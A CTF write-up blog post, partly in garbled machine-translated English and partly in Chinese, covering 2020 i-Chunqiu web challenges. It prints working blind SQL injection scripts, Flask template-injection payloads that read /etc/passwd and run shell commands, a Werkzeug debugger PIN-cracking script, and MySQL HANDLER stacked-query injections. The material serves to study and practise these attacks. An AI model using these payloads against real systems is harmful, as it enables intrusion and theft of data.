2020i New Year Spring Contagion

Simple Recruitment System

Login Here you can inject

Queries can also be injected here

 

From the landing here injection

Blasting database name

 

Blasting table

 

Column Name

 

flag

I ran out of things very strange

Run again re-opened container column, it is estimated that flaaag. 502 may be happening behind

Pitted again. He made a heavy container. These run feel there is a problem ah. This column name is absolutely flaaag. I manually verified burp. - - I do not know why every time back with all things, to be flaaag ended.

Almost a bad thing. They ran the wrong flag, I burp manually verified. {Obviously, for the hair and become]

Oh. I know, I get attached to the hot computer, there is music, watching live phone attached hot, affected my network speed? I lead a normal request has 2s have delayed it. Direct transfer 5S / (¨Ò ¨Ò o) / ~~

Get the flag. = = Forget screenshots

upload

Upload a php, direct getshell, then ./readflag. Look returned response is to remind bypass

Look on index.php

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
   上传: <input type="file" name="file_upload">
    <input type="submit">
</form>

那个数组怎么就变成了这样,python也不是python,php也不是php。。尴尬。难怪都是非预期了。

这里的if : endif; 实际就是{ }

这种语法比较适合嵌套在HTML中。

盲注

 

 burp测试过滤了一下函数,union select like updatexml insert into update等

 

过滤了select,去找了下相关文章https://www.jianshu.com/p/12519879dc44

 

 

可行。一开始因为'被ban了,换"就可以了。

刚准备好脚本,因为有一些字符串在regexp会影响判断,因为是正则。

import requests
import time
import string
url='http://dd00d648b92a4237b815cb2917e2652d9c44e3e12f0f4db8.changame.ichunqiu.com/index.php'
k=''
for i in range(0,25):
    for j in range(32,128):      #这里鉴于上面两题的flag,可以直接写成for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}- '
        if chr(j) in '^.*$?\'=<>%#+':
            continue
        payload='1 and if(fl4g regexp binary "^{}",sleep(5),1)'.format(k+chr(j))
        params={
        'id':payload,
        }
        startTime=time.time()
        response=requests.get(url=url,params=params)
        if time.time() - startTime >4.5:
            k+=chr(j)
            print('flag_name:%s'%(k))
            break
print(k)

 

想测试下脚本,爆前四个字符flag,爆到第二个就觉得不对,明明是flag的,怎么是Y了。

原来是环境关了。难受。/(ㄒoㄒ)/~~忘记今天比赛了。没抓紧时间做。第四题都没看到一眼题目。

24晚上看了一下,主办方还开了所有的web环境,听说到25晚上结束。良心。炒鸡感谢。赶快把之前没跑完的跑一下。

 

 

easysqli_copy

 

 看到的一篇文章https://news.linruizhao.com/tech/freebuf/157973/。宽字节+多行,我这里用的预编译绕过。

 

 通过时间盲注,可行。为啥每次浏览器上时间盲注可以,用python脚本跑老是乱码。气死了啊。大概率是我的脚本的问题,用get请求下次直接get url,不要带params了

后面测试可以了。

import requests
import time
url="http://3397d51f00654a40a6c453953b906199865ba551262f4f0b.changame.ichunqiu.com/index.php?id=1%df%27;"
flag=''
exp0="select fllllll4g from table1"
payload = "set @s=concat({});PREPARE a FROM @s;EXECUTE a;"
for i in range(1,20):
    print("前{0}位".format(i))
    for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}-':
        res=''
        exp = "select if(ascii(substr(({}),{},1))={},sleep(3),1)".format(exp0, i, ord(j))
        for z in exp:
            res += "char(%s),"%(ord(z))
        my_payload = payload.format(res[:-1])
        print('i:'+str(i),'j:'+str(j))
        urll=url+my_payload
        startTime=time.time()
        response=requests.get(url=urll)
        if time.time() - startTime >=2.5:
            flag+=j
            print('flag_name:%s'%(flag))
            break
print(flag)

 

Flaskapp

在decode页面随意输入,一些跳出错误页面

 

 

所以是模板注入,并且有waf。

通过payload可以读取到/etc/passwod

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

但是当读取flag的时候,发现不行。应该是过滤了关键字flag,测试发现*,?,都被过滤了。尝试字符拼接。

 

通过proc/self/cmdline找了一下脚本所在的路径。读一下app.py

尝试读一下/app/app.py

 

字符串拼接也没绕过去。

发现并不是没绕过去。而是读出来了,只不过我设置了 no no 的话返回waf:字符串

结果 : from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config[SECRET_KEY] = s_e_c_r_e_t_k_e_y
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField(BASE64加密,validators= [DataRequired()])
    submit = SubmitField(提交)
class NameForm1(FlaskForm):
    text = StringField(BASE64解密,validators= [DataRequired()])
    submit = SubmitField(提交)

def waf(str):
    black_list = [flag,os,system,popen,import,eval,chr,request,
                  subprocess,commands,socket,hex,base64,*,?]
    for x in black_list :
        if x in str.lower() :
            return 1


@app.route(/hint,methods=[GET])
def hint():
    txt = 失败乃成功之母!!
    return render_template(hint.html,txt = txt)


@app.route(/,methods=[POST,GET])
def encode():
    if request.values.get(text) :
        text = request.values.get(text)
        text_decode = base64.b64encode(text.encode())
        tmp = 结果  :{0}.format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for(encode))

    else :
        text = 
        form = NameForm(text)
        return render_template(index.html,form = form ,method = 加密 ,img = flask.png)

@app.route(/decode,methods=[POST,GET])
def decode():
    if request.values.get(text) :
        text = request.values.get(text)
        text_decode = base64.b64decode(text.encode())
        tmp = 结果 : {0}.format(text_decode.decode())
        if waf(tmp) :
            flash(no no no !!)
            return redirect(url_for(decode))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for(decode))

    else :
        text = 
        form = NameForm1(text)
        return render_template(index.html,form = form, method = 解密 , img = flask1.png)


@app.route(/&lt;name&gt;,methods=[GET])
def not_found(name):
    return render_template(404.html,name = name)

if __name__ == __main__:
    app.run(host=0.0.0.0, port=5000, debug=True)

黑名单

black_list = [flag,os,system,popen,import,eval,chr,request,
                  subprocess,commands,socket,hex,base64,*,?]

后经过师傅提醒说是解pin码,我就去试试。

https://www.jianshu.com/p/cbca419ba075

https://xz.aliyun.com/t/2553#toc-2

解pin码需要6个变量

username就是启动这个Flask的用户

modname为flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask

getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

 

 machine-id:81ef01dec0f0eb6d6c0f3752b487b10e

 

 mac地址:02:42:ac:12:00:04

转化为10进制

绝对路径

 

 用户名是flaskweb

经过师傅提示,machine-id还是错的,是/proc/self/cgroup  docker的ID

2:pids:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
11:cpu,cpuacct:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
10:hugetlb:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
9:devices:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
8:blkio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
7:rdma:/
6:memory:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
5:perf_event:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
4:net_cls,net_prio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
3:freezer:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
2:cpuset:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
1:name=systemd:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
0::/system.slice/containerd.service
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377957892',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)  

 得到pin码获取python shell

如果想获取控制台输出的内容,那就用os.popen的方法了,popen返回的是一个file对象,跟open打开文件一样操作了,r是以读的方式打开

 

2.24-今天晚上学习了下SSTI,明早补上SSTI的学习笔记总结等。这里可以通过字符串拼接就可以达到命令执行

().__class__.__bases__[0].__subclasses__()[76].__init__.__globals__['__builtins__']['e'+'val']('__imp'+'ort__ ("o"+"s").p'+'open("ls").read()')

 

字符串拼接即可

 

blacklist(复现)

 

 

是改编强网杯的。

强网杯有两种解法

一种是用比预编译

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

一种是alter,rename更改表名

这里都禁了,应该要找新姿势。

后面问了一位师傅,告诉了我用handler

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

复现记录:

这题主要是考姿势了,这里啥都禁掉了。主要是select禁止了。新获得的姿势就是利用handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容、
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
 引用:https://xz.aliyun.com/t/7169#toc-47  

本地测试:

 

 

 

 

也可以不加as

 

payload:

1';handler FlagHere open as yunying;handler yunying read first;

 

Guess you like

Origin www.cnblogs.com/BOHB-yunying/p/12342370.html